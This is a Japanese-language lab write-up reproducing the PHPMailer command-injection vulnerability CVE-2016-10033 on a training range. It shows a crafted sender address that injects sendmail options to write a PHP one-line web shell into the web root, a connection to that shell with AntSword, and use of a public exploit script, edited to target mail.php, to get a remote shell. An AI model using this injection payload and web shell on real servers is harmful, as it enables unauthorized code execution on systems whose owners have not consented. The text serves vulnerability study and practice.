0x01 脆弱性の原理#
知識の整理、ターゲットの再現
脆弱性番号:CVE-2016-10033
影響範囲:PHPMailer バージョン < 5.2.18
PHPMailer の mail 関数は、メールの送信時にシステムの sendmail メソッドを使用しており、十分なフィルタリングがないため、ユーザーが攻撃コードを注入することができます。
PHPMailer
コマンド実行の脆弱性(CVE-2016-10033)は、escapeshellarg
とescapeshellcmd
の 2 つの関数を組み合わせて使用することで、シングルクォートのエスケープが発生します。具体的な脆弱性の分析と悪用のプロセスは、合天網安のこの実験で行うことができますが、料金が 200 元必要です:
0x02 ターゲットの再現#
まず、墨者靶場を使用して再現します
ページを開くと、英語のウェブサイトが表示され、ページの下部にメールのリンクがあります:
リンクをクリックすると、メール送信画面が表示されます;
Exp:
メールアドレスを作成します
"attacker\" -oQ/tmp -X/var/www/html/shell.php soapffz"@gmail.com
メッセージ:
<?php @eval($_POST[a]);?>
sendmail -X
パラメータを使用すると、ログを指定のファイルに書き込むことができます。送信後、ページがフリーズしますが、心配しないでください、一行のシェルが既に書き込まれています
AntSword を使用して接続します:
key
を取得します
0x03 rce-exp#
exp
アドレスをダウンロードし、リモートターゲットで次のコマンドを実行してテストします:
./exploit host:port
ローカルでのテストは次のようになります:
./exploit localhost:8080
デフォルトのexp
はhost
とport
の 2 つのパラメータしか提供されていませんが、この問題ではmail.php
ディレクトリもありますので、簡単に修正することができます:
次の行を追加するだけです
curl -sq 'http://'$host -H 'Content-Type:
対応するディレクトリを追加します:
curl -sq 'http://'$host/mail.php -H 'Content-Type:
リモートシェルを正常に取得しました。権限はwww-data
ユーザーです
0x04 権限昇格の試み#
まだです。。
本文終わり。
参考記事: